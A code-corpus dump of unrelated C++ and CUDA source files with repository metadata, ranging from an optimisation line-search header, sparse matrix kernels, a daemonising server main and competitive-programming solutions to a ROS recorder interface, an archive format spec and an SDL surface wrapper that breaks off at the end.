143f284eba83eaf3ba22de6aeb7b79c1c176287b
|
[] |
no_license
|
ngoclinhng/insight
|
01cda2350d9760238ed699c92b3cc3e294fecc32
|
f8fcd9180359a37207c475ed369e03e24471308d
|
refs/heads/master
| 2020-05-20T15:17:00.159277
| 2019-07-03T17:16:35
| 2019-07-03T17:16:35
| 185,640,897
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,519
|
h
|
line_search.h
|
// Copyright (C) 2019
//
// Author: mail2ngoclinh@gmail.com (Ngoc Linh)
#ifndef INTERNAL_INSIGHT_LINE_SEARCH_H_
#define INTERNAL_INSIGHT_LINE_SEARCH_H_
#include "insight/linalg/vector.h"
#include "insight/function_sample.h"
namespace insight {
// The type of the objective function used by line search.
class first_order_function;
namespace internal {
// Given the objective function f of type first_order_function, the
// current_iterate x_k and the search direction d_k, instances of
// phi_function represents the following univariate function:
//
// phi(alpha) = f(x_k + alpha * d_k), alpha > 0.
class phi_function {
public:
explicit phi_function(first_order_function* objective_function);
void init(const vector<double>& current_irerate,
const vector<double>& search_direction); // NOLINT
// Evaluate the value and (optionally) gradient of the objective_function
// at the next_iterate = current_iterate + trial_step * search_direction.
void evaluate(double trial_step, bool evaluate_gradient,
function_sample* result);
// The infinity norm of the search_direction_ vector.
double search_direction_infinity_norm() const;
private:
first_order_function* objective_function_;
vector<double> current_iterate_;
vector<double> search_direction_;
// scaled_search_direction = trial_step * search_direction_
vector<double> scaled_search_direction_; // NOLINT
};
} // namespace internal
} // namespace insight
#endif // INTERNAL_INSIGHT_LINE_SEARCH_H_
|
fbe7ab8acb6ae334c93fe50c793b467da9615b0e
|
b3db6f9a9d0ef7ddde3afd445a550962f522fa49
|
/CudaSpMV/brc_spmv_core.h
|
2b687b469b98966ce4207f3a16560664bf466a22
|
[] |
no_license
|
ysw1912/CudaSpMV
|
ff8255010fe617852a6d20ab9b0383794420c90b
|
ccc4e1e116e521fb392e55e376ea81afe0911d77
|
refs/heads/master
| 2020-04-11T08:03:03.512274
| 2019-02-14T21:36:13
| 2019-02-14T21:36:13
| 161,630,302
| 1
| 0
| null | null | null | null |
GB18030
|
C++
| false
| false
| 2,940
|
h
|
brc_spmv_core.h
|
#ifndef __BRC_SPMV_CORE__
#define __BRC_SPMV_CORE__
#include "cpu_helper.h"
#include "gpu_helper.h"
#include <cooperative_groups.h>
namespace cg = cooperative_groups;
namespace brcspmv
{
// BrcSpMV
template <class ValueType>
__global__ void brcSpMV(const uint32_t rep,
const uint32_t B1,
const uint32_t* rowPerm,
const uint32_t* col,
const ValueType* value,
const uint32_t* blockPtr,
const uint32_t* block_width,
const uint32_t* numBlocks,
const ValueType* x,
ValueType* y)
{
uint32_t tid = blockIdx.x * blockDim.x + threadIdx.x;
const uint32_t b_row = tid % B1; // row of current block
#pragma unroll
for (uint32_t i = 0; i < rep; ++i) {
if (tid < *numBlocks * B1) {
uint32_t cb = tid / B1; // current block
ValueType tmp = ValueType(0);
for (uint32_t j = 0; j < block_width[cb]; ++j) {
uint32_t index = blockPtr[cb] + j * B1 + b_row;
tmp += value[index] * x[col[index]];
}
atomicAdd(y + rowPerm[tid], tmp);
tid += gridDim.x * blockDim.x;
}
}
}
// BrcPlusSpMV
template <typename ValueType>
__global__ void brcPlusSpMV(const uint32_t rep,
const uint32_t B1,
const uint32_t numBlocks,
const uint32_t *rowPerm,
const uint32_t *rowSegLen,
const uint32_t *col,
const ValueType *value,
const uint32_t *blockPtr,
const ValueType *x,
ValueType *y)
{
ValueType *space = SharedMemory<ValueType>();
cg::thread_block_tile<32> tile32 = cg::tiled_partition<32>(cg::this_thread_block());
uint32_t id = blockIdx.x * blockDim.x + threadIdx.x;
const uint32_t tid = threadIdx.x;
const uint32_t laneId = threadIdx.x % 32; /* lane index in the warp */
const uint32_t b_row = id % B1; // 当前块的第b_row行
#pragma unroll
for (uint32_t i = 0; i < rep; ++i) {
if (id < numBlocks * B1) {
uint32_t cb = id / B1; // 第cb个块
uint32_t blockWidth = (blockPtr[cb + 1] - blockPtr[cb]) / B1; // 第cb个块的宽度
ValueType tmp = ValueType(0);
for (uint32_t j = 0; j < blockWidth; ++j) {
uint32_t index = blockPtr[cb] + j * B1 + b_row;
tmp += value[index] * x[col[index]];
}
/* 将每个线程部分和tmp做segmented sum */
ValueType saveTmp = tmp; // 保存tmp值
#pragma unroll
for (uint32_t offset = 1; offset < 32; offset <<= 1) {
ValueType t = tmp;
t += tile32.shfl_up(t, offset);
//tile32.sync();
if (laneId >= offset) {
tmp = t;
}
//tile32.sync();
}
space[tid] = tmp; // 将每个warp的scan存入共享内存备用
//tile32.sync();
if (rowSegLen[id]) {
ValueType segEnd = space[tid + rowSegLen[id] - 1]; // 段尾值
tmp = saveTmp + segEnd - tmp;
atomicAdd(y + rowPerm[id], tmp); // 将相同行的部分和原子加到y向量
}
id += gridDim.x * blockDim.x;
}
} /* for */
}
}/* namespace brcspmv */
#endif
|
cd03d133c6fce30e14dbe6d239119ba18423eb35
|
bd81b71fa21cd96b5eb14f500958cda49683a80a
|
/main.cpp
|
4ae9726f09eb9869d9ebd2bae3b0899ae92437fe
|
[] |
no_license
|
lumasepa/videovigilancia-server-g04
|
f4c014b43c194443293a993804474d66c41f544c
|
15b5837e37b2076d0cb497788c8dc3946e091852
|
refs/heads/master
| 2021-01-23T21:39:20.405644
| 2013-06-18T10:31:47
| 2013-06-18T10:31:47
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,747
|
cpp
|
main.cpp
|
#include <QCoreApplication>
#include "consola.h"
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <iostream>
#include <errno.h>
// Open
#include <sys/stat.h>
#include <fcntl.h>
// Syslog
#include <syslog.h>
//ofstream
#include <fstream>
//remove
#include <stdio.h>
int main(int argc, char *argv[])
{
bool daemon = false;
if(argc >= 2)
{
for(int i = 1; i < argc;++i)
{
if(strcmp(argv[i],"-h") == 0 || strcmp(argv[i], "--help") == 0 || strcmp(argv[i], "-?") == 0)
{
std::cout << argv[0] << std::endl;
std::cout << "Servidor de videovigilancia multiconexion multihilo asincrono demonizado" << std::endl;
std::cout << "[-d | --daemon] Iniciar en modo demonio" << std::endl;
std::cout << "[-h | --help | -?] Muestra esta ayuda" << std::endl;
exit(0);
}
else if( strcmp(argv[i], "-d") == 0 || strcmp(argv[i], "--daemon") == 0)
{
daemon = true;
pid_t pid;
// Nos clonamos a nosotros mismos creando un proceso hijo
pid = fork();
// Si pid es < 0, fork() falló
if (pid < 0) {
// Mostrar la descripción del error y terminar
std::cerr << strerror(errno) << std::endl;
exit(10);
}
// Si pid es > 0, estamos en el proceso padre
if (pid > 0) {
// Terminar el proceso
exit(0);
}
// Abrir una conexión al demonio syslog
openlog(argv[0], LOG_NOWAIT | LOG_PID, LOG_USER);
// Intentar crear una nueva sesión
if (setsid() < 0) {
syslog(LOG_ERR, "No fue posible crear una nueva sesión\n");
exit(11);
}
// Cambiar directorio de trabajo
if ((chdir("/")) < 0) {
syslog(LOG_ERR, "No fue posible cambiar el directorio de "
"trabajo a /\n");
exit(12);
}
// Cerrar los descriptores de la E/S estándar
close(STDIN_FILENO); // fd 0
close(STDOUT_FILENO); // fd 1
close(STDERR_FILENO); // fd 2
// Abrir nuevos descriptores de E/S
int fd0 = open("/dev/null", O_RDONLY); // fd0 == 0
int fd1 = open("/dev/null", O_WRONLY); // fd0 == 1
int fd2 = open("/dev/null", O_WRONLY); // fd0 == 2
// Cambiar umask
umask(0);
syslog(LOG_NOTICE, "Demonio iniciado con éxito\n");
// Hacer archivo con PID
std::fstream out( (QString("/var/run/") + argv[0] + ".pid").toStdString().c_str());
out << pid;
out.close();
}
else
{
std::cout << "Parametro " << argv[i] << " incorrecto" << std::endl;
std::cout << argv[0] << " [-h | --help | -?] Para mostrar ayuda" << std::endl;
exit(0);
}
}
}
// Inicio del programa
QCoreApplication a(argc, argv);
Consola cmd;
setupUnixSignalHandlers();
int ret = a.exec();
if(daemon){
// Eliminar archivo con PID
remove((QString("/var/run/") + argv[0] + ".pid").toStdString().c_str());
// Cuando el demonio termine, cerrar la conexión con
// el servicio syslog
closelog();
}
return ret;
}
|
205c8964843079ecaa522b611f3b0bbadc783909
|
f68f0bbb90c499576195674d372ffef11d83a7d3
|
/leetcode/Medium/Divide Two Integers.cpp
|
10f85b9c67c7ce5c30f65db526fcb7327a942a27
|
[] |
no_license
|
khalilalquraan/Problem_solving
|
fb1df9948adc43180ad07057a7dc1202193a59fa
|
f4cee20569fdecc72b1ddb5105eae34695c0768d
|
refs/heads/main
| 2023-08-21T20:12:30.383359
| 2021-10-28T16:39:27
| 2021-10-28T16:39:27
| 380,528,910
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 600
|
cpp
|
Divide Two Integers.cpp
|
/*
Problem Url : https://leetcode.com/problems/divide-two-integers/
Date : 03-07-2021
*/
class Solution {
public:
int divide(int dividend, int divisor)
{
int sign = (dividend < 0) ^ (divisor < 0) ? -1 : 1;
dividend = abs(dividend);
divisor = abs(divisor);
long long ans = 0, tmp = 0;
for (int i = 31; i >= 0; i--) {
if (tmp + (1LL * divisor << i) <= dividend) {
tmp += (1LL * divisor << i);
ans |= (1LL << i);
}
}
return min(1LL * ans * sign, 1LL * INT_MAX);
}
};
|
dc11354dee8433e8aa82e15aef21d620bf085add
|
6aa3a40f1297756dd263054a9fa0a8b6bb5239da
|
/src/NDPluginFileXMLAttributes/NDFileXMLAttributes.h
|
d5fc0f178d1303a7c46f8d05da171a3426bb71af
|
[] |
no_license
|
jabrnthy/elinac-advs-plugins
|
309f7b83ccc9c311bfeb18c4afb2230aa27e087d
|
62275e2c444c3841353ec62ad2157171f400de83
|
refs/heads/master
| 2021-01-20T21:12:21.677538
| 2016-08-25T09:46:10
| 2016-08-25T09:46:10
| 61,098,099
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 994
|
h
|
NDFileXMLAttributes.h
|
/*
* NDFileXMLAttribute.h
* Writes NDArray attributes to an XML file
* Jason Abernathy
* Mar 2, 2012
*/
#ifndef NDFileXMLAttributes_H
#define NDFileXMLAttributes_H
#include <iostream>
#include <fstream>
/** Writes the attributes from an NDArray into an xml file
*/
class NDFileXMLAttribute : public NDPluginFile {
public:
NDFileXMLAttribute(const char *portName, int queueSize, int blockingCallbacks,
const char *NDArrayPort, int NDArrayAddr,
int priority, int stackSize);
/* The methods that this class implements */
virtual asynStatus openFile(const char *fileName, NDFileOpenMode_t openMode, NDArray *pArray);
virtual asynStatus readFile(NDArray **pArray);
virtual asynStatus writeFile(NDArray *pArray);
virtual asynStatus closeFile();
private:
NDColorMode_t colorMode;
std::fstream fs;
};
//#define NUM_NDFILE_XML_PARAMS (&LAST_NDFILE_XML_PARAM - &FIRST_NDFILE_XML_PARAM + 1)
#define NUM_NDFILE_XML_PARAMS 0
#endif
|
6141e24fe0fcaccfb6dd03c825cb53c80ab82c0c
|
5a9410e70b3c1907dcf2166fe175e008d7009a46
|
/utils/confirmOverwrite.h
|
87aef053e0025d0158d593a3b51a4259852b4efb
|
[
"MIT"
] |
permissive
|
CakeWithSteak/fpf
|
81820940075b623ba28bfb6df5d20e4e05a1426c
|
e3a48478215a5b8623f0df76f730534b545ae9c3
|
refs/heads/master
| 2023-01-31T00:55:32.436884
| 2020-12-11T18:45:09
| 2020-12-11T18:45:09
| 231,958,377
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 538
|
h
|
confirmOverwrite.h
|
#pragma once
#include <filesystem>
#include <iostream>
#include <cctype>
// Confirms that the provided file doesn't exist, or that the user agrees to overwrite it.
inline bool confirmOverwrite(const std::filesystem::path& path) {
if(std::filesystem::exists(path)) {
std::cout << "File " << path << " already exists. Are you sure you want to overwrite it? (y/n) ";
char response;
std::cin >> response;
std::cin.ignore(30000, '\n');
return std::tolower(response) == 'y';
}
return true;
}
|
7544af1cdd64cbd7701eaa82d7d7be8f4cd03a71
|
7dc21141b55c9a99fb76a2502d3f4b36f194f219
|
/acpc10a.cpp
|
c29d26407480614f6ae805aad903621bb314bedb
|
[
"MIT"
] |
permissive
|
emiliot/spoj
|
1c859e5acafb63d30d947d2339667112a0426cc0
|
0898a382a1545893fe00f8d94fafbe1716acd09c
|
refs/heads/master
| 2016-09-13T14:02:14.208173
| 2016-04-29T20:10:52
| 2016-04-29T20:10:52
| 57,408,898
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,240
|
cpp
|
acpc10a.cpp
|
#pragma warning(disable:4018) // signed/unsigned mistatch
#pragma warning(disable:4244) // w64 to int cast
#pragma warning(disable:4267) // big to small -- possible loss of data
#pragma warning(disable:4786) // long identifiers
#pragma warning(disable:4800) // forcing int to bool
#pragma warning(disable:4996) // deprecations
#include "assert.h"
#include "ctype.h"
#include "float.h"
#include "math.h"
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
#include "stdarg.h"
#include "time.h"
#include "algorithm"
#include "numeric"
#include "functional"
#include "utility"
#include "bitset"
#include "vector"
#include "list"
#include "set"
#include "map"
#include "queue"
#include "stack"
#include "string"
#include "sstream"
#include "iostream"
#define all(v) (v).begin(), (v).end()
typedef long long i64;
template <class T> void make_unique(T& v) {sort(all(v)); v.resize(unique(all(v)) - v.begin());}
using namespace std;
int main(){
freopen("data.in","r",stdin);
int a, b, c;
while(scanf("%d %d %d", &a, &b, &c)==3 &&(a||b||c)){
int rate = b - a;
if(b + rate == c){
printf("AP %d\n", c+rate);
}else{
rate = b/a;
printf("GP %d\n",c*rate);
}
}
return 0;
}
|
35ec83d7a992f9ffad073aa872be53a0bc28bf26
|
f905a8afb1f51256c0bbd410fac68d629bec4172
|
/include/naoqi_driver/recorder/recorder.hpp
|
a55215982bb91644289b91a0184ea529e7305ed7
|
[
"Apache-2.0"
] |
permissive
|
ros-naoqi/naoqi_driver
|
aa697a56d8263a583c0c91a60bf6cc625735fb5f
|
9a8b8517e9cbccbace8ddcfeab385c6ac2e3df8b
|
refs/heads/master
| 2023-07-20T02:05:58.293402
| 2023-07-13T14:03:50
| 2023-07-13T14:03:50
| 34,505,683
| 45
| 84
|
Apache-2.0
| 2023-06-16T13:40:46
| 2015-04-24T07:58:19
|
C++
|
UTF-8
|
C++
| false
| false
| 4,297
|
hpp
|
recorder.hpp
|
/*
* Copyright 2015 Aldebaran
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#ifndef RECORDER_HPP
#define RECORDER_HPP
#include <string>
#include <boost/make_shared.hpp>
#include <boost/shared_ptr.hpp>
# include <boost/thread/mutex.hpp>
#include <ros/ros.h>
#include <rosbag/bag.h>
#include <rosbag/view.h>
#include <geometry_msgs/TransformStamped.h>
#include "naoqi_driver/recorder/globalrecorder.hpp"
namespace naoqi
{
namespace recorder
{
/**
* @brief Recorder concept interface
* @note this defines an private concept struct,
* which each instance has to implement
* @note a type erasure pattern in implemented here to avoid strict inheritance,
* thus each possible recorder instance has to implement the virtual functions mentioned in the concept
*/
class Recorder
{
public:
/**
* @brief Constructor for recorder interface
*/
template<typename T>
Recorder( T rec ):
recPtr_( boost::make_shared<RecorderModel<T> >(rec) )
{}
/**
* @brief checks if the recorder is correctly initialized on the ros-master
@ @return bool value indicating true for success
*/
bool isInitialized() const
{
return recPtr_->isInitialized();
}
void subscribe( bool state )
{
recPtr_->subscribe(state);
}
/**
* @brief checks if the recorder has a subscription and is hence allowed to record
* @return bool value indicating true for number of sub > 0
*/
bool isSubscribed() const
{
return recPtr_->isSubscribed();
}
std::string topic() const
{
return recPtr_->topic();
}
/**
* @brief initializes/resets the recorder into ROS with a given nodehandle,
* this will be called at first for initialization or again when master uri has changed
* @param ros NodeHandle to advertise the recorder on
*/
void reset( boost::shared_ptr<naoqi::recorder::GlobalRecorder> gr, float frequency)
{
recPtr_->reset( gr, frequency );
}
void writeDump(const ros::Time& time)
{
recPtr_->writeDump(time);
}
void setBufferDuration(float duration)
{
recPtr_->setBufferDuration(duration);
}
friend bool operator==( const Recorder& lhs, const Recorder& rhs )
{
// decision made for OR-comparison since we want to be more restrictive
if ( lhs.topic() == rhs.topic() )
return true;
return false;
}
private:
/**
* BASE concept struct
*/
struct RecorderConcept
{
virtual ~RecorderConcept(){}
virtual bool isInitialized() const = 0;
virtual void subscribe(bool state) = 0;
virtual bool isSubscribed() const = 0;
virtual std::string topic() const = 0;
virtual void writeDump(const ros::Time& time) = 0;
virtual void setBufferDuration(float duration) = 0;
virtual void reset( boost::shared_ptr<naoqi::recorder::GlobalRecorder> gr, float frequency ) = 0;
};
/**
* templated instances of base concept
*/
template<typename T>
struct RecorderModel : public RecorderConcept
{
RecorderModel( const T& other ):
recorder_( other )
{}
void reset( boost::shared_ptr<naoqi::recorder::GlobalRecorder> gr, float frequency )
{
recorder_->reset( gr, frequency );
}
bool isInitialized() const
{
return recorder_->isInitialized();
}
void subscribe(bool state)
{
recorder_->subscribe( state );
}
bool isSubscribed() const
{
return recorder_->isSubscribed();
}
std::string topic() const
{
return recorder_->topic();
}
void writeDump(const ros::Time& time)
{
recorder_->writeDump(time);
}
void setBufferDuration(float duration)
{
recorder_->setBufferDuration(duration);
}
T recorder_;
};
boost::shared_ptr<RecorderConcept> recPtr_;
}; // class recorder
} // recorder
} //naoqi
#endif
|
9cf787b9d780abfdb09215a6e0cfc291eb52fdca
|
39547c11cc1afde3da77a99d383b61fc52947298
|
/SFArchive/Format.h
|
d0f7df8660d124178bd04b50fb9dd5dcc479e8bb
|
[
"MIT"
] |
permissive
|
JayhawkZombie/SFArchive
|
8fafde8d734c65487c7647cf186923786fb77113
|
625b9c973627bfca79dbbc56244f73a1ed756d6d
|
refs/heads/master
| 2020-08-28T18:54:09.985594
| 2019-10-27T01:48:34
| 2019-10-27T01:48:34
| 217,791,304
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 6,475
|
h
|
Format.h
|
#pragma once
#include "Detail/Headers.h"
#include "Detail/Helpers.h"
#include "Detail/Content.h"
/* File format:
* |-------------------------------------|
* | Endianness flag (1 byte) |
* |-------------------------------------|
* | Archive header (88 bytes) |
* |-------------------------------------|
* | Archive entries (variable length) |
* |-------------------------------------|
* | Directory header (32 bytes) |
* |-------------------------------------|
* | Directory entries (variable length) |
* |-------------------------------------|
* | End of directory record (16 bytes) |
* |-------------------------------------|
* | End of archive record (8 bytes) |
* |-------------------------------------|
*
*
* An empty archive will look like (152 bytes)
* |-------------------------------------------------------------------------------------------------|
* | 0x0X | (endianness, used to determine if byte swaps are needed) | <1>
* |-------------------------------------------------------------------------------------------------|
* | 0x8C 0xE0D6 0xAFD7 0x21A9 | (magic number, 7 bytes) | <8>
* |-------------------------------------------------------------------------------------------------|
* | <archive header> (88 bytes) | |
* | 0x2071 0xAAF6 0x86B4 0xOFCE (8) | (header signature) |
* | 0x0000 0x0000 0x0000 0x0000 (8) | (version info) |
* | 0x3000 0x0003 0x000 (6) | (general and reserved flags) |
* | 0xXXXX 0xXXXX 0xXXXX 0xXXXX (8) | (time archive created) |
* | 0xXXXX 0xXXXX 0xXXXX 0xXXXX (8) | (time archive last modified) |
* | 0xXXXX 0xXXXX 0xXXXX 0xXXXX (8) | (crc value) |
* | 0x9800 0x0000 0x0000 0x0000 (8) | (uncompressed archive size) |
* | 0x9800 0x0000 0x0000 0x0000 (8) | (compressed archive size) |
* | 0x5800 0x0000 0x0000 0x0000 (8) | (offset from beg of file to directory, 88 bytes (0x58) |
* | 0x9AC3 0xC7EB 0xEFD9 0xC302 (8) | (end of header signature) | <96>
* |-------------------------------------------------------------------------------------------------|
* | <archive entries> (variable) | (list of file entries in the archive) |
* | | (no entries, 0 bytes) |
* |-------------------------------------------------------------------------------------------------|
* | <directory header> (32 bytes) | |
* | 0xB9C4 0x00DA 0x080B 0xFFA5 (8) | (directory header) |
* | 0x0000 0x0000 0x0000 0x0000 (8) | (num entries in directory) |
* | 0x0000 0x0000 0x0000 0x0000 (8) | (version info) |
* | 0x0300 0x0003 0x0000 (6) | (general and reserved flags) | <128>
* |-------------------------------------------------------------------------------------------------|
* | <directory entries> (variable) | (directory entries) |
* | | (no entries, 0 bytes) |
* |-------------------------------------------------------------------------------------------------|
* | <end of directory record> (16 bytes) | |
* | 0xF541 0x2D49 0xBAF8 0xE9C7 (8) | (signature) |
* | 0x0000 0x0000 0x0000 0x0000 (8) | (directory size, in bytes) | <144>
* |-------------------------------------------------------------------------------------------------|
* | <end of archive record> (8 bytes) | |
* | 0x5F2A 0xDBEC 0xD284 0x21E0 (8) | (signature) | <152>
* |-------------------------------------------------------------------------------------------------|
*
*
* example empty file
* |---------------------------------------------------------|
* | 0x018C 0xE0D6 0xAFD7 0x21A9 0x2071 0xAAF6 0x86B4 0x0FCE |
* | 0x0000 0x0000 0x0000 0x0000 0x0300 0x0003 0x0000 0x1812 |
* | 0x988C 0x0481 0x3700 0x1812 0x988C 0x0481 0x3700 0x0000 |
* | 0x0000 0x0000 0x0000 0x9000 0x0000 0x0000 0x0000 0x9000 |
* | 0x0000 0x0000 0x0000 0x5800 0x0000 0x0000 0x0000 0x9AC3 |
* | 0xC7EB 0xEFD9 0xc302 0xB9C4 0x00DA 0x080B 0xFFA5 0x0000 |
* | 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0300 |
* | 0x0003 0x0000 0xF541 0x2D49 0xBAF8 0xE9C7 0x0000 0x0000 |
* | 0x0000 0x0000 0x5F2A 0xDBEC 0xD284 0x21E0 |
* |---------------------------------------------------------|
**/
struct SFArchiveEntryFlags
{
u32 IsDirectory : 1;
u32 IsReadOnly : 1;
u32 IsEmpty : 1; // can be empty if a file was removed but the empty space not cleared out - if this is an empty entry, then all data should be zero'd out
u32 Unused : 29;
};
struct EmptyArchive
{
SFArchiveHeader Header;
SFArchiveDirectory Directory;
EndOfArchiveRecord EndOfArchive;
template<class Archive>
void serialize(Archive &ar)
{
ar(Header, Directory, EndOfArchive);
}
};
SPECIALIZE_CONSTRUCT_NEW_ENTITY(EmptyArchive, Ar)
{
const auto tp = detail::GetCurrentTimeAsEpoch();
Ar.Header.TimeInfo.Created = tp;
Ar.Header.TimeInfo.LastModified = tp;
constexpr u64 size = SizeOf<SFArchiveHeader>::value + SizeOf<SFArchiveDirectoryHeader>::value + SizeOf<EndOfDirectoryRecord>::value + SizeOf<EndOfArchiveRecord>::value + SizeOf<PreSignatureBytes>::value;
Ar.Header.Size.UncompressedSize = size;
Ar.Header.Size.CompressedSize = size;
Ar.Header.OffsetToDirectory = SizeOf<SFArchiveHeader>::value;
}
|
cb8153606f9ad931dc50d25b74b279966dcd7760
|
9e90ace48bfda8f9129359bc55dc5891c50e7475
|
/src/Surface.cpp
|
1c9db8777b7e9f671dcdc608f95da86d4fe2910b
|
[] |
no_license
|
donbonifacio/tank-tournament
|
4bfdbd5485d08944eed3c41a4759af2122306bb1
|
007beafddf7720ba471f4418c539c433c0cb97af
|
refs/heads/master
| 2020-05-30T10:32:52.721139
| 2012-11-25T10:30:28
| 2012-11-25T10:30:28
| null | 0
| 0
| null | null | null | null |
ISO-8859-1
|
C++
| false
| false
| 9,350
|
cpp
|
Surface.cpp
|
#include "../include/Surface.h"
#include "../include/SpriteSequence.h"
#include "../include/Exceptions.h"
#include "../include/Log.h"
using namespace SDL;
using std::endl;
//-----------------------------------------------------------------------------------------------------------------------
// MÉTODOS PUBLICOS
//-----------------------------------------------------------------------------------------------------------------------
Surface& Surface::operator=( const Surface& _surface )
{
/*
Coloca *this exactamente igual a '_surface', copiando a 'sdlSurfacePtr' associada
*/
// ver se 'sdlSurfacePtr' está a apontar para algum lado, se estiver, deixa de estar
clear();
// agora passa-se à cópia da SDL_Surface:
sdlSurfacePtr = getDisplayFormat( _surface.sdlSurfacePtr );
// actualizar os valores de 'dim'
setPos( _surface.dim.x, _surface.dim.y );
setDim( _surface.dim.w, _surface.dim.h );
// actualizar o 'blitRect'
setBlitRect(
_surface.blitRect.x,
_surface.blitRect.y,
_surface.blitRect.w,
_surface.blitRect.h
);
return *this;
}
//-----------------------------------------------------------------------------------------------------------------------
Surface& Surface::operator=( SDL_Surface* _sdlSurface )
{
/*
Coloca *this exactamente igual a '_sdlSurface', copiando a '_sdlSurface'
*/
// ver se 'sdlSurfacePtr' está a apontar para algum lado, se estiver, deixa de estar
clear();
// agora passa-se à cópia da SDL_Surface:
sdlSurfacePtr = getDisplayFormat( _sdlSurface );
// Como uma SDL_Surface não tem os atributos da SDL::Surface estes serão normalizados
normalize();
// e por fim por a posição a (0,0) - a única coisa que o normalize() não faz
setPos(0,0);
return *this;
}
//-----------------------------------------------------------------------------------------------------------------------
Surface& Surface::load( const char* _file )
{
/*
Lê para uma Surface o conteúdo do ficheiro passado (BMP)
*/
// ver se foi mesmo passada uma string
assert(_file);
LOG << "Loading " << _file << "... ";
clear();
// tenta ler
SDL_Surface* image = SDL_LoadBMP( _file );
// se ocorrer algum erro throw
if( 0 == image )
throw Util::FileNotFoundException(string(_file),SDL_GetError());
// criar a surface no mesmo formato da surface de ecrã
sdlSurfacePtr = getDisplayFormat(image);
SDL_FreeSurface(image);
// por os Rect's como deve ser
normalize();
// po-lo no sitio certo
setPos(0,0);
LOG << "OK" << endl;
return *this;
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::normalize()
{
/*
Este método altera os atributos de 'dim' e 'blitRect' passando estes a fica com as dimensões da 'sdlSurfacePtr'
*/
// verificar se existe alguma surface
assert(sdlSurfacePtr);
// alterar a dimensão do SDL_Rect principal
setDim( sdlSurfacePtr->w, sdlSurfacePtr->h );
// alterar o blitRect para que contenha toda a Surface
setBlitRect( 0, 0, sdlSurfacePtr->w, sdlSurfacePtr->h );
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::clear()
{
/*
Desaloja a 'sdlSurfacePtr'
*/
if(sdlSurfacePtr)
SDL_FreeSurface(sdlSurfacePtr);
sdlSurfacePtr = 0;
}
//-----------------------------------------------------------------------------------------------------------------------
bool Surface::pointIn( int _x, int _y ) const
{
/*
Indica se um ponto está ou não dentro desta surface
*/
if( _x >= dim.x && _x <= dim.x + dim.w )
if( _y >= dim.y && _y <= dim.y + dim.h )
return true;
return false;
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::blit( Surface& _surface )
{
/*
Pinta nesta Surface a '_surface' passada como parametro
*/
// verificar se existe alguma surface
assert(sdlSurfacePtr);
assert(_surface.sdlSurfacePtr);
blit( _surface.sdlSurfacePtr, &_surface.blitRect, &_surface.dim );
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::blit( SDL_Surface* _surface, SDL_Rect* _srcRect, SDL_Rect* _dstRect )
{
/*
Pinta a SDL_Surface* '_surface' em 'sdlSurfacePtr'
*/
SDL_BlitSurface(_surface, _srcRect, sdlSurfacePtr, _dstRect);
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::fill( Uint8 _r, Uint8 _g, Uint8 _b )
{
/*
Preenche o correspondente a 'blitRect' na 'sdlSurfacePtr' de uma só cor: (_r,_g,_b)
*/
// verificar se existe alguma surface
assert(sdlSurfacePtr);
SDL_FillRect( sdlSurfacePtr, &blitRect, getGoodFormatColor(_r,_g,_b) );
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::fill( Uint32 _color )
{
/*
Preenche o correspondente a 'blitRect' na 'sdlSurfacePtr' de uma só cor: 'color'
Usa void Surface::fill( Uint8 _r, Uint8 _g, Uint8 _b );
*/
fill(
(_color & 0xFF0000) >> sdlSurfacePtr->format->Rshift, // colocar red no sitio certo
(_color & 0x00FF00) >> sdlSurfacePtr->format->Gshift, // colocar green no sitio certo
(_color & 0x0000FF) >> sdlSurfacePtr->format->Bshift // colocar blue no sitio certo
);
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::setAlpha( Uint8 _alpha, Uint32 _flags )
{
/*
Faz com que a Surface utilize o alpha channel
*/
// verificar se existe alguma surface
assert(sdlSurfacePtr);
SDL_SetAlpha(sdlSurfacePtr, _flags, _alpha);
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::setColorKey( Uint8 _r, Uint8 _g, Uint8 _b )
{
/*
Fixa uma cor como transparente
*/
// verificar se existe alguma surface
assert(sdlSurfacePtr);
SDL_SetColorKey(sdlSurfacePtr, SDL_SRCCOLORKEY | SDL_RLEACCEL, getGoodFormatColor(_r,_g,_b) );
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::setNoColorKey()
{
/*
Elimina a colorkey currente
*/
// verificar se existe alguma surface
assert(sdlSurfacePtr);
SDL_SetColorKey(sdlSurfacePtr, 0, 0);
}
//-----------------------------------------------------------------------------------------------------------------------
void Surface::createSurface(int _w, int _h, int _flags )
{
/*
Cria uma nova 'sdlSurfacePtr' com '_w' * '_h' de dimensão
compatível com a surface de display
*/
// apaga a surface currente
clear();
SDL_PixelFormat* format = SDL_GetVideoSurface()->format;
sdlSurfacePtr = SDL_CreateRGBSurface(_flags, _w, _h, format->BitsPerPixel,
format->Rmask, format->Gmask, format->Bmask, format->Amask);
if(0 == sdlSurfacePtr)
throw Util::GeneralError("Error creating SDL_Surface*: ", SDL_GetError());
setPos(0,0);
normalize();
}
//-----------------------------------------------------------------------------------------------------------------------
//-----------------------------------------------------------------------------------------------------------------------
//-----------------------------------------------------------------------------------------------------------------------
// MÉTODOS PRIVADOS
//-----------------------------------------------------------------------------------------------------------------------
